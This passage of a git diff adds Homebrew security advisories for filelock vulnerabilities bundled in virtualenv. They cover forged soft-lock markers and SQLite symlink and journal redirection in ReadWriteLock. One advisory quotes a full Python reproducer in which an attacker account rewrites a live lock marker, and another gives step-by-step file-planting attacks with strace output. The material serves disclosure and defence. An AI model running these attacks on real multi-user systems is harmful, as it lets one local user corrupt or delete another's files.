(the symbolic link at the `ReadWriteLock` database path, fixed in 4.0.9). There the other user chose the file the lock opened. Here the link sits one component above the final one, the other user swaps it in after the check that refuses it, and it chooses only the parent directory.\n\n## Workarounds\n\nKeep strict locks in a directory no other user can write. In a sticky shared directory, create `.filelock` as the service user before any other account can, and check its owner before first use. Do not run the recovery loop from `docs/tutorials.rst` on a lock in a shared directory without first verifying, as `docs/how-to.rst` says, that the owner named in each claim is gone. Treat an unexpected `SoftFileLockProtocolError` that quotes an unknown claim name as a sign that `claims` may point elsewhere. Keep the exception text of `claims` out of logs other accounts can read. On Windows, keep the lock directory writable only by trusted users.\n\n## Patched version\n\n4.2.1.\n\nFix: https://github.com/tox-dev/filelock/pull/839\n\n## Credits\n\nReported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.\n\n- 2026-10-15 23:08 UTC: report received (finding `ANT-2026-SVFEYX89`, scanned commit b831496b0273)\n- 2026-10-16 01:31 UTC: fix PR #839 opened\n- 2026-10-16 05:41 UTC: draft advisory created (first as part of GHSA-9c4x-gm8v-wgc4, then split into this advisory)", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:H" + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/security/advisories/GHSA-m462-7rxw-wvpg" + }, + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/pull/839" + }, + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/commit/bfa066d65a1ba9106f86ee9d027f7588b9c77e03" + }, + { + "type": "PACKAGE", + "url": "https://github.com/tox-dev/filelock" + }, + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/releases/tag/4.2.1" + } + ] +} diff --git a/advisories/BREW-virtualenv-CVE-2026-112939.json b/advisories/BREW-virtualenv-CVE-2026-112939.json new file mode 100644 index 00000000000..44ead291a98 --- /dev/null +++ b/advisories/BREW-virtualenv-CVE-2026-112939.json @@ -0,0 +1,88 @@ +{ + "schema_version": "1.7.3", + "id": "BREW-virtualenv-CVE-2026-112939", + "published": "2026-10-29T23:11:49Z", + "modified": "2026-10-29T23:11:49Z", + "upstream": [ + "GHSA-rfpc-qcw5-3pc4", + "CVE-2026-112939" + ], + "affected": [ + { + "package": { + "ecosystem": "Homebrew", + "name": "virtualenv", + "purl": "pkg:brew/virtualenv" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "20.37.0" + }, + { + "fixed": "21.14.10" + } + ] + } + ], + "ecosystem_specific": { + "fix": "bump", + "range_state": "fixed", + "upstream_fixed_in": "4.2.1", + "resource": "filelock", + "resource_purl": "pkg:pypi/filelock@4.2.4" + } + } + ], + "database_specific": { + "source": "matched", + "strategy": "registry", + "confidence": "high", + "upstream_evidence": [ + { + "strategy": "registry", + "ecosystem": "PyPI", + "name": "filelock", + "subject_version": "4.2.4", + "key": "pkg:pypi/filelock@4.2.4", + "resource": "filelock" + } + ] + }, + "summary": "filelock: SoftFileLock removes a live holder's marker when another user forges the PID in a writable marker", + "details": "`SoftFileLock`, `MarkerSoftFileLock`, `SoftFileLease`, their async variants and a `FileLock` that has fallen back to a soft lock on `ENOSYS` decide from the record inside the marker file whether its owner is gone. The marker is the file whose presence says a process holds the lock. They do not check who could have written that record.\n\nA local user who can write the marker but cannot remove it rewrites the holder's record to name a dead PID (process id). That position arises with an explicit `mode` with group or other write bits, or the default mode under a lax umask (the process setting that strips permission bits from new files), in a sticky or otherwise non-removable directory. The sticky bit is a directory flag that lets only a file's owner remove or rename it. The next contender running as the holder's account, or root, judges the lock stale, removes the live marker on that user's behalf and acquires it. Two processes then run the critical section together and neither gets an error. Affected versions are filelock 3.22.0 through 4.2.0 (finding `ANT-2026-W1H9NXUH`).\n\n## Severity\n\n**CVSS 3.1 `CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N` scores 4.7 (Medium).** `AV:L` (local): the other user needs an account on the same host. `PR:L` (low privileges): an ordinary account is enough. `UI:N` (no user interaction). `AC:H` (high attack complexity): the marker must carry group or other write bits (an explicit permissive `mode`, or umask `002`/`000` with a shared group), and a contender of the holder's account must ask for the lock while the forged record is in place. `I:H` (high integrity impact): two holders then write whatever the lock protects, and the holder is not told. `C:N` and `A:N` (no confidentiality or availability impact). `S:U` (scope unchanged). Classification from the review: **security, conditional** on another user being able to write the live marker. The scanner rated it high (CWE-345). The default mode under umask `022` is not affected.\n\n## Scope and preconditions\n\n- The other user can write the marker. The application passes a `mode` with group or other write bits, which `fchmod` applies as given since 4.1.0. `0o666` is a common choice for a lock shared between accounts, although a soft-lock contender of another account waits as well on a `0o644` marker, since contenders only read and rename. Or the application uses the default mode (`0o666` through the umask) under umask `002` in a directory whose group the other user belongs to, or under umask `000`. The default mode under umask `022` is not affected.\n- The other user cannot remove the marker itself: the directory is sticky, or the other user cannot write it at all (a `0755` directory owned by the lock's user gives the same overlap). In a non-sticky shared directory the other user can unlink the marker without filelock, and filelock adds nothing.\n- A contender that may rename the marker asks for the lock: another process of the holder's account (several workers of one user) or root. A contender of another unprivileged account cannot rename the marker in a sticky directory and times out.\n- The finding reaches every class that publishes a soft marker: `SoftFileLock`, `MarkerSoftFileLock`, `SoftFileLease`, their async variants, and `FileLock(mode=0o666)` on a filesystem where `flock` (a kernel lock on an open file) fails with `ENOSYS`.\n\nThese protections against another local user hold only when no other user can replace the lock's directory or any of its ancestors. That holds when each ancestor belongs to the user or root and is either not writable by others or sticky. A user who can rename entries in a non-sticky directory above the lock controls every name below it, which no file-based lock can defend against.\n\n## Affected code\n\nAt the scanned commit b831496: the create mode in [`SoftFileLock._acquire`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L67-L71), the explicit-mode `fchmod` in [`_apply_explicit_mode`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L100-L105), the trusting verdict in [`_try_break_stale_lock`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L107-L123) and the [`owner_is_stale`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_identity.py#L64-L79) it relies on; the same call in [`MarkerSoftFileLock`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_marker.py#L74-L81) and [`SoftFileLease`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_lease.py#L229-L256).\n\n## Introduced\n\nThe stale verdict that trusts the record came in with e35c3afac473 (\"feat(soft): detect and break stale locks\", #476, 2026-02-13), first released in 3.22.0. From then on a marker left group- or other-writable by the umask is forgeable. The reproducer's exact configuration, an explicit `mode=0o666` under umask `022`, needs 66d309d (\"fix(soft): honour mode and tighten marker grammar\", #807), first released in 4.1.0. Both match the git tags.\n\n## Mechanism\n\nA contender whose `O_CREAT | O_EXCL` create fails with `EEXIST` goes to `_try_break_stale_lock`. `_read_lock_file` makes sure the path is a regular file (`lstat`, `O_NOFOLLOW` open, `fstat`) and returns its content, mtime and inode (the kernel's identity for a file, independent of its name). It has the `fstat` result in hand but does not look at `st_uid` or `st_mode`. The code parses the content into `pid`, `hostname` and start token and hands them to `owner_is_stale`, whose docstring promises to return `True` \"only when this process can prove the exact recorded owner is dead\". That proof holds only if the owner wrote the record. A process of another account that can open the marker for writing uses `O_WRONLY | O_TRUNC` (no `O_CREAT`, so `fs.protected_regular` does not block it) and writes `2147483647\\n\\n`, keeping the host line. The host matches, PID 2147483647 does not exist, and `owner_is_stale` returns `True`.\n\n`break_lock_file` renames the marker to `.break..` and unlinks it. Its mtime and inode guard compares against what the contender read after the rewrite, so it passes. The contender, which runs as the marker's owner, does the rename, so the sticky bit allows it. On the next poll the contender's `O_EXCL` create succeeds. The first holder is not told: `SoftFileLock` has no heartbeat, and on release `_unlink_open_marker` finds another inode or no file at the path and returns without an error.\n\nOther records lead to the same break, each run by the scanner the same way: the holder's own PID and host with a different third line (`owner_is_stale` reads a live PID with another start token as a recycled PID); an empty file (malformed, broken after `MALFORMED_LOCK_AGE_THRESHOLD`, 2 s). `MarkerSoftFileLock` and `SoftFileLease` apply `owner_is_stale` to the `pid=`, `host=` and `start=` fields of a protocol 2 record, and rewriting `pid=` admitted a second process for both. A `SoftFileLease` holder learns of it at its next heartbeat through `on_compromise`; `SoftFileLock` and `MarkerSoftFileLock` holders do not learn of it at all.\n\nThe marker becomes writable by another account in two ways. An explicit `mode` with group or other write bits goes through `fchmod`, so the umask does not narrow it (`test_lock_mode_soft` at the scanned commit pins `-rw-rw-rw-` under umask `022`). The default mode passes `0o666` to `os.open`, so under umask `002` the marker is `0o664`. With no `mode` argument, in a setgid and sticky group directory (`3770`), a second member of the group rewrote the marker and a second process of the holder's user acquired the same way. Under umask `000` the marker is `0o666` and any local user can rewrite it. `FileLock(mode=0o666)` on a filesystem where `flock` fails with `ENOSYS` falls back to `SoftFileLock` and produces the same `-rw-rw-rw-` marker (confirmed with `fcntl.flock` replaced by a stub raising `ENOSYS`). With `mode=0o644`, or no `mode` under umask `022`, the other user's open fails with `EACCES` and the second process times out.\n\n## Reproduction\n\nThe scanner's reproducer for `ANT-2026-W1H9NXUH`, quoted as received. It ran against commit `b831496b0273`.\n\n**`repro`**\n\n```python\n#!/usr/bin/env python3\nimport os\nimport pwd\nimport shutil\nimport stat\nimport subprocess\nimport sys\nimport tempfile\nimport time\n\n# root bypasses file permissions, so each party runs as one of the image's unprivileged accounts\nAS_VICTIM = [\"runuser\", \"-u\", \"victim\", \"--\", sys.executable]\nAS_ATTACKER = [\"runuser\", \"-u\", \"attacker\", \"--\"]\nWORKER = \"/tmp/repro.d/worker.py\"\nREWRITE_MARKER = \"/tmp/repro.d/rewrite_marker.py\"\n\n# set up: a sticky, world-writable directory like /tmp; both workers print \"entered\" / \"left\" into one shared log\nshared_dir = tempfile.mkdtemp(prefix=\"shared-\", dir=\"/tmp\")\nos.chmod(shared_dir, 0o1777)\nlock_path = os.path.join(shared_dir, \"cache.lock\")\nlog_path = os.path.join(shared_dir, \"order.log\")\nlog = open(log_path, \"w\")\n\nfirst = subprocess.Popen([*AS_VICTIM, WORKER, lock_path, \"first\", \"6\"], stdout=log)\nwhile \"first entered\" not in open(log_path).read():\n assert first.poll() is None, \"the first worker did not get the lock\"\n time.sleep(0.05)\n\nmarker = os.stat(lock_path)\nprint(\"marker:\", stat.filemode(marker.st_mode), pwd.getpwuid(marker.st_uid).pw_name, repr(open(lock_path).read()))\n\n# before the attack: the second worker times out, and the attacker cannot delete the marker from the sticky directory\nsecond_before = subprocess.run([*AS_VICTIM, WORKER, lock_path, \"second\", \"0.5\"], stdout=log, stderr=subprocess.PIPE, text=True)\nprint(\"second worker:\", second_before.stderr.splitlines()[-1])\nassert \"Timeout\" in second_before.stderr\nrm = subprocess.run([*AS_ATTACKER, \"rm\", \"-f\", lock_path], capture_output=True, text=True)\nprint(\"attacker:\", rm.stderr.strip())\nassert rm.returncode != 0\n\n# attack: no check=True, because under a fix the marker is not writable by others, and then this step fails\nsubprocess.run([*AS_ATTACKER, sys.executable, REWRITE_MARKER, lock_path])\nprint(\"marker after the attack:\", repr(open(lock_path).read()))\n\n# the second worker tries again, exactly as before\nsubprocess.run([*AS_VICTIM, WORKER, lock_path, \"second\", \"0.5\"], stdout=log)\nprint(\"first worker exit status:\", first.wait())\n\n# check: a correct lock keeps the second worker out until the first has left\norder = open(log_path).read().splitlines()\nprint(\"order:\", order)\nshutil.rmtree(shared_dir)\nprint(\"BUG\" if order == [\"first entered\", \"second entered\", \"second left\", \"first left\"] else \"OK\")\n```\n\n**`repro.d/rewrite_marker.py`**\n\n```python\n#!/usr/bin/env python3\n# The attacker, another account: overwrite the live holder's record in place with one naming a PID that cannot exist.\nimport os\nimport sys\n\nlock_path = sys.argv[1]\nNO_SUCH_PID = 2**31 - 1 # the largest PID the marker parser accepts; Linux pid_max is at most 2**22\n\nholder_host = open(lock_path).read().splitlines()[1] # owner_is_stale only judges records from its own host\nmarker = os.open(lock_path, os.O_WRONLY | os.O_TRUNC) # no O_CREAT, so fs.protected_regular does not refuse it\nos.write(marker, f\"{NO_SUCH_PID}\\n{holder_host}\\n\".encode())\nos.close(marker)\n```\n\n**`repro.d/worker.py`**\n\n```python\n#!/usr/bin/env python3\n# One of several workers of the victim's application; they take turns under a soft lock in a shared directory.\nimport sys\nimport time\n\nfrom filelock import SoftFileLock\n\nlock_path, name, work_seconds = sys.argv[1], sys.argv[2], float(sys.argv[3])\n\n# mode=0o666 so that the lock file can be used from several accounts\nwith SoftFileLock(lock_path, mode=0o666, timeout=1):\n print(name, \"entered\", flush=True)\n time.sleep(work_seconds)\n print(name, \"left\", flush=True)\n```\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n participant H as holder (uid victim)\n participant M as cache.lock (0666, owner victim, sticky dir)\n participant A as other account (uid attacker)\n participant C as contender (uid victim)\n H->>M: O_CREAT|O_EXCL create, fchmod 0o666, write \"pid host token\"\n C->>M: O_EXCL fails, read record: holder alive, Timeout\n A->>M: rm: EPERM (sticky directory)\n rect rgb(255, 214, 214)\n A->>M: open O_WRONLY|O_TRUNC, write \"2147483647 host\"\n C->>M: read record, owner_is_stale: PID 2147483647 is dead\n C->>M: rename to cache.lock.break.*, unlink (the owner may)\n C->>C: next poll: O_EXCL succeeds, enters beside H\n Note over H,C: both inside, no error, H's release finds another inode and returns\n end\n```\n\n## Evidence\n\nThe scanner's reproducer runs two `victim` workers on `with SoftFileLock(path, mode=0o666, timeout=1):` in a root-owned `1777` directory under `/tmp` (overlayfs, `fs.protected_regular=2`), with `attacker` uid 1001 sharing no group with `victim`. It printed the marker as `-rw-rw-rw- victim '\\n\\n\\n'`, the second worker's `Timeout`, `rm: cannot remove ...: Operation not permitted` for `attacker`, the marker after the rewrite as `'2147483647\\n\\n'`, first worker exit status 0, and the log order `['first entered', 'second entered', 'second left', 'first left']`. The second worker entered and left while the first was still inside its `with` block, about 50 ms after the rewrite, on its second poll. It prints `BUG` every time, in about 6 s. Our review ran the same reproducer: `BUG` on 4.2.0, `OK` on the head of #836. The review also tried umask `000` with the default mode.\n\n## Impact\n\nA local user who can write a soft lock's marker but cannot remove it gets a second process admitted into the critical section while the first holder is still inside. With no `lifetime` set, `SoftFileLock` and `MarkerSoftFileLock` give neither process a signal. Whatever the lock protects (a cache, an install directory, a state file) then has two concurrent writers. The other user chooses the moment and gains nothing else: it touches no file other than the marker. The process that rewrites the record runs under a different UID from the holder; the same-UID contender only follows the protocol.\n\n## Workarounds\n\nDo not give soft markers group or other write bits: pass no `mode` (or `mode=0o644`) under umask `022`. A soft-lock contender of another account waits as well on a `0o644` marker, because contenders only read and rename. The write bits matter only for the native `flock` lock and for `FileLock`'s first open before it falls back to a soft lock. Avoid umask `002` or `000` for processes that take soft locks in directories shared with other accounts, and keep lock files in a directory other users cannot write.\n\n## Patched version\n\n4.2.1.\n\nFix: https://github.com/tox-dev/filelock/pull/836\n\n## Credits\n\nReported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.\n\n- 2026-10-15 23:08 UTC: report received (finding `ANT-2026-W1H9NXUH`, scanned commit b831496b0273)\n- 2026-10-16 00:46 UTC: draft advisory\n- 2026-10-16 01:16 UTC: fix PR #836 opened", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N" + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/security/advisories/GHSA-rfpc-qcw5-3pc4" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112939" + }, + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/pull/836" + }, + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/commit/eeceaa846cbe4df72718d94c8371ca1ab8f5b3cc" + }, + { + "type": "PACKAGE", + "url": "https://github.com/tox-dev/filelock" + }, + { + "type": "WEB", + "url": "https://github.com/tox-dev/filelock/releases/tag/4.2.1" + } + ] +} diff --git a/advisories/BREW-virtualenv-CVE-2026-112940.json b/advisories/BREW-virtualenv-CVE-2026-112940.json new file mode 100644 index 00000000000..b57b212ae09 --- /dev/null +++ b/advisories/BREW-virtualenv-CVE-2026-112940.json @@ -0,0 +1,88 @@ +{ + "schema_version": "1.7.3", + "id": "BREW-virtualenv-CVE-2026-112940", + "published": "2026-10-29T23:11:49Z", + "modified": "2026-10-29T23:11:49Z", + "upstream": [ + "GHSA-v4x8-3wr5-3wq8", + "CVE-2026-112940" + ], + "affected": [ + { + "package": { + "ecosystem": "Homebrew", + "name": "virtualenv", + "purl": "pkg:brew/virtualenv" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "20.37.0" + }, + { + "fixed": "21.14.10" + } + ] + } + ], + "ecosystem_specific": { + "fix": "bump", + "range_state": "fixed", + "upstream_fixed_in": "4.2.1", + "resource": "filelock", + "resource_purl": "pkg:pypi/filelock@4.2.4" + } + } + ], + "database_specific": { + "source": "matched", + "strategy": "registry", + "confidence": "high", + "upstream_evidence": [ + { + "strategy": "registry", + "ecosystem": "PyPI", + "name": "filelock", + "subject_version": "4.2.4", + "key": "pkg:pypi/filelock@4.2.4", + "resource": "filelock" + } + ] + }, + "summary": "filelock ReadWriteLock: SQLite reopens the lock database by name, so a planted symlink or journal file makes the lock user's process overwrite or unlink its own files", + "details": "`ReadWriteLock` and `AsyncReadWriteLock` (the SQLite-backed reader/writer lock) hand SQLite a name they do not control. On Linux the lock validates its database through a descriptor (the number the kernel gives a process for an open file). It then connects SQLite to `/proc/self/fd/`, a Linux path that names the process's own open file `n`. SQLite turns that path back into a plain path and reopens it by name, following symlinks (a symlink is a file that points at another path). On every POSIX route SQLite also acts on `-journal`, `-wal` and `-shm` files it finds beside that name. Those are SQLite's side files: the rollback journal (pages saved to undo an interrupted write), the write-ahead log or WAL (changes kept outside the main file), and the shared-memory index for the WAL.\n\nAnother local user who can create or rename entries in the directory that holds the lock database can turn this against the user running the lock (below: the lock user). Such a directory is a `0777` or group-writable cache, build or project directory without the sticky bit (a directory flag that lets only a file's owner remove or rename it). That other user can make the lock user's ordinary `read_lock()` or `write_lock()` write bytes of the other user's choosing into the lock user's own files. The same position lets the other user make that call create or unlink files of the lock user, admit a reader beside a writer, or kill the holder. All of this runs with the lock user's privileges. In a sticky directory such as `/tmp` a planted `-wal` file makes every acquire fail. Affected versions are filelock 3.20.4 through 4.2.0 (the `/proc/self/fd` redirect since 4.0.9, the side-file variants since 3.20.4).\n\nAnthropic's OSS Scanner reported this in private as `ANT-2026-KMJ2575J` [high, CWE-363]: ReadWriteLock: SQLite still follows planted symlinks, overwriting files.\n\n## Severity\n\n**CVSS 3.1 `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H` scores 7.1 (High).** `AV:L` (local): the other user needs an account on the same host. `PR:L` (low privileges): an ordinary account is enough. `UI:N` (no user interaction). `AC:L` (low attack complexity): the planted-journal variant needs no race, and the redirect won 77 of 77 attempts. `I:H` (high integrity impact): the other user writes bytes of their choosing into files of the lock user and unlinks files of their choosing. `A:H` (high availability impact): the other user makes every acquire fail or kills the lock holder. `C:N` (no confidentiality impact): the other user learns nothing. `S:U` (scope unchanged): the effect stays within the lock user's own privileges.\n\nClassification from the external review: **conditional security**, a cross-user effect that exists only when another user can change names in the lock database's directory. The review notes that the 77/77 inotify result (inotify is a Linux interface that reports file events) is stronger evidence than a theoretical TOCTOU (a time-of-check to time-of-use race). The scanner rated it high. The review accepts the mechanism and narrows it to that precondition.\n\n## Scope and preconditions\n\n- The other party is a different local account that can create or rename entries in the directory that holds the lock database. That is a `0777` directory or a group-writable one (including a setgid `2775` project directory shared with that account), in each case without the sticky bit. The lock user's lock must be able to open the database read-write, so a database the other user creates is `0666`. filelock itself creates the database `0600`.\n- Sticky directories (`/tmp`, `/var/tmp`, any `1777` directory) narrow the finding rather than exclude it. The redirect and the journal replay do not reach a database the lock user owns there (tested with `fs.protected_regular=2`). What remains is a planted non-empty `-wal` (any mode; a directory or FIFO works too) that the lock user cannot unlink. It makes every acquire raise `sqlite3.OperationalError: disk I/O error`. A hard link (a second name for the same file) to a file of the lock user at the lock path also remains, if `fs.protected_hardlinks=0`.\n- Two kernel settings matter. `fs.protected_regular` (1 or 2 is the systemd default on most distributions; the kernel's own default is 0) keeps a user from opening a file another user owns in a sticky world-writable directory. Where it is 0, the other user can own the database in `/tmp`, and SQLite follows a planted symlink itself (not tested). `fs.protected_hardlinks=1` (most distributions; kernel default 0) blocks a hard link of a lock user's file onto the lock path. Neither setting affects a non-sticky shared directory.\n- Platform and route. The `/proc/self/fd` redirect is Linux with `/proc` mounted, 4.0.9 and later. The side-file variants (`-journal`, `-wal`, `-shm`) exist on every POSIX route. On the hard-link route (macOS since 4.1.1 for every connection, Linux without `/proc`) they need the link-directory swap described under \"Mechanism\", so a non-sticky parent. Neither the scanner nor the review executed on macOS; the statement rests on the platform branch and the identical code after it. Windows does not take this path.\n- Ancestor boundary. Protection against another local user is possible only while no other user can replace the lock's directory or any of its ancestors. That holds when each ancestor belongs to the user or root and is either not writable by others or sticky. A user who can rename an entry in a non-sticky directory above the lock controls every name below it. No file-based lock can defend against that.\n\n## Affected code\n\nAt the scanned commit `b831496b0273`: [`_connect_through_descriptor` builds `/proc/self/fd/` and hands it to `sqlite3.connect`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L982-L1001). The assumption is the [comment at line 63](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L63), \"Descriptor paths reopen the validated inode\" (an inode is the kernel's identity for a file, independent of its name). SQLite first reads the file it opened at [`PRAGMA journal_mode=MEMORY`, line 816](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L816). The check in [`_raise_if_database_replaced` at line 836](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L836) runs only after `BEGIN`. Both [`_open_lock_database`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L1079-L1091) and [`_raise_if_wal`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L1094-L1101) inspect the descriptor, not the file SQLite is on. The one-level hard link of the macOS route is [`_link_beside`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L1014-L1029).\n\n## Introduced\n\nThe `/proc/self/fd` redirect came with `4d45e83` (\"Merge commit from fork\", the fix for GHSA-j8f7-rjxc-mr56), first released in **4.0.9** (verified: `git tag --contains 4d45e83` gives 4.0.9); 4.0.8 does not have it. The side-file variants are older. They reproduce on `cfd4446` (\"feat(lock): add SQLite-based ReadWriteLock (#399)\"), first released in **3.20.4** (verified), which passed the lock path straight to `sqlite3.connect`.\n\n## Mechanism\n\nOn Linux the lock opens the database with `O_RDWR|O_CREAT|O_NOFOLLOW|O_NONBLOCK`. It checks through the descriptor that the file is a regular file and not a WAL database. It then calls `sqlite3.connect(\"/proc/self/fd/\")` and expects SQLite to reopen the validated inode. SQLite does not open that name. It runs `readlink()` on it, which yields the path string the kernel reports for the descriptor at that moment, and opens that string by path, following every symlink. Without interference the trace shows `readlink(\"/proc/534/fd/3\") = \"/tmp/benign/app.lock.db\"` and then a second `openat` of that path. The descriptor contributes only a string. Once the directory entry behind the descriptor is gone, the string is ` (deleted)`. A symlink with that exact name sends SQLite wherever its creator chose.\n\nThe other user prepares the directory before the lock user runs. They create a database `cache.lock.db` (`0666`, so the lock user's lock accepts it) with a second hard link `cache.lock.db.keep`, and the symlink `cache.lock.db (deleted) -> /tmp/victim-notes.txt`. The lock user's `os.open` raises an inotify `IN_OPEN` event. The other user unlinks `cache.lock.db` and links `cache.lock.db.keep` back under the same name. The lock user's descriptor still refers to the unlinked entry, so `/proc/self/fd/3` now reads `/tmp/shared-cache/cache.lock.db (deleted)`. `sqlite3.connect` resolves it, follows the symlink and opens the target `O_RDWR|O_CREAT`. None of filelock's checks look at that file. `_open_lock_database` and `_raise_if_wal` inspect descriptor 3. `_raise_if_database_replaced` compares an `lstat` of the lock path with the descriptor's `(st_dev, st_ino)`, which passes because the other user linked the same inode back, and it runs only after `BEGIN`.\n\nThe damage comes from the first statement, `PRAGMA journal_mode=MEMORY`. SQLite finds `-journal`, treats it as the rollback journal of an interrupted transaction, and copies its page records into the target before it checks whether the target is a database at all. The journal header supplies the page size and the page count SQLite resizes the file to. Whoever wrote the journal computed the per-page checksum. The content from offset 0 and the final length are therefore the other user's. Strace of the lock user's process (SQLite 3.40.1):\n\n```\nopenat(\"/tmp/shared-cache/cache.lock.db\", O_RDWR|O_CREAT|O_NONBLOCK|O_NOFOLLOW|O_CLOEXEC, 0600) = 3\nreadlink(\"/proc/3819/fd/3\", \"/tmp/shared-cache/cache.lock.db (deleted)\", 4096) = 41\nreadlink(\"/tmp/shared-cache/cache.lock.db (deleted)\", \"/tmp/victim-notes.txt\", 4096) = 21\nopenat(\"/tmp/victim-notes.txt\", O_RDWR|O_CREAT|O_NOFOLLOW|O_CLOEXEC, 0644) = 4\nopenat(\"/tmp/victim-notes.txt-journal\", O_RDWR|O_NOFOLLOW|O_CLOEXEC) = 5\npread64(5, \"ATTACKER CONTENT WRITTEN BY THE \"..., 4096, 516) = 4096\npwrite64(4, \"ATTACKER CONTENT WRITTEN BY THE \"..., 4096, 0) = 4096\nunlink(\"/tmp/victim-notes.txt-journal\") = -1 EPERM -> \"disk I/O error\"\n```\n\nThe redirect itself needs no journal. The constructor's validation connection already makes SQLite open the target with `O_CREAT`. With the symlink pointing at a missing path in the lock user's home, constructing the lock created that file (empty, `0644`, owned by the lock user) and raised nothing. With the symlink pointing at a `0600` WAL-mode SQLite database of the lock user, `write_lock()` returned without error and the database's header bytes 18 and 19 changed from `2 2` to `1 1`. The pragma converted the lock user's database out of WAL mode, and the redirected acquire held its SQLite lock on that database rather than on the lock database.\n\n**Side-file names beside the database.** Two comments record the belief that SQLite names its side files after the descriptor path ([line 63](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L63), [line 1095](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L1095)). The path is not synthetic to SQLite. It derives `-journal`, `-wal` and `-shm` from the resolved real path in the shared directory. `journal_mode=MEMORY` governs only journals SQLite would write, not ones it finds. These variants need no redirect.\n\n*A hot `-journal` makes the lock user unlink a file the journal names; no race.* The other user unlinks the lock user's empty `lock.db`, puts a one-page SQLite database (`0666`) in its place, and writes a 46-byte `lock.db-journal`: a path, its 4-byte length, the 4-byte sum of its bytes and SQLite's journal magic. SQLite treats a journal beside a non-empty database as hot (left by an interrupted transaction). The tail names a \"super-journal\", and recovery ends by unlinking that file. The lock user's next `read_lock()` or `write_lock()` returns without error and the named file is gone (`unlink(\"/home/victim/private/notes.txt\") = 0`, from a `0700` directory of the lock user). The named file must be a non-empty regular file the lock user can read and unlink. A FIFO planted as `lock.db-journal` instead blocks `read_lock(timeout=2)` in SQLite's `open()` of the journal (still blocked when killed after 10 s).\n\n*A re-planted `-wal` puts the holder in WAL mode past `_raise_if_wal`.* `_raise_if_wal` checks header bytes 18 and 19. Whenever a connection takes its first lock, SQLite stats `-wal`, and if that file and the database are both non-empty it opens the WAL whatever the header says. The pragma at line 816 converts such a database and unlinks `-wal` and `-shm`. The `BEGIN` at line 833 is a separate statement that starts unlocked and stats `-wal` again. Re-creating the 32-byte `-wal` in that gap landed on the first attempt in 20 of 20 runs on a 2-CPU machine.\n\nThe lock user's `with lock.write_lock():` then holds the `-shm` byte-120 WAL write lock and only SHARED on the database. Once the other user removes the `-wal`, a second process of the lock user gets `read_lock(timeout=1)` granted while the writer is inside its block, with no exception on either side. SQLite also creates `-shm` with the database's permission bits (`0666`) and keeps it mapped into memory. After the other user truncates it, the writer dies with `SIGBUS` (the signal for touching a mapped file region that no longer exists) in `connection.rollback()` during `release()`.\n\n*A `-wal` in a sticky directory makes every acquire raise; no race, no access to the database.* Beside the lock user's own empty `0600` database, a non-empty `-wal` (one byte, any mode; a directory or FIFO works too) is a leftover SQLite tries to delete. In a `1777` directory the lock user cannot unlink another user's file (`unlink(...) = -1 EPERM`), so the pragma fails with `SQLITE_IOERR_DELETE`. The code in [`_do_acquire_inner`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_read_write.py#L763) translates only \"database is locked\" into `Timeout`. `sqlite3.OperationalError: disk I/O error` therefore leaves every `acquire_read()` / `acquire_write()` (and the async variants) within milliseconds, whatever `timeout` or `blocking` says, until the file's owner or root removes it.\n\n*Further effects observed at this commit in a non-sticky directory.* A `0755` script owned by the lock user, renamed to the lock path with a one-record journal beside it, ends up holding the other user's bytes (the acquire raises `file is not a database`). A hard link to the lock user's `0600` `~/.profile` at the lock path does the same in a sticky `/tmp` when `fs.protected_hardlinks=0`. When the locking process runs as root, SQLite runs `fchown` on a `-wal` or `-shm` it opens to match the owner of the database, so root's `0600` `service.env` renamed to `app.lock.db-wal` belonged to 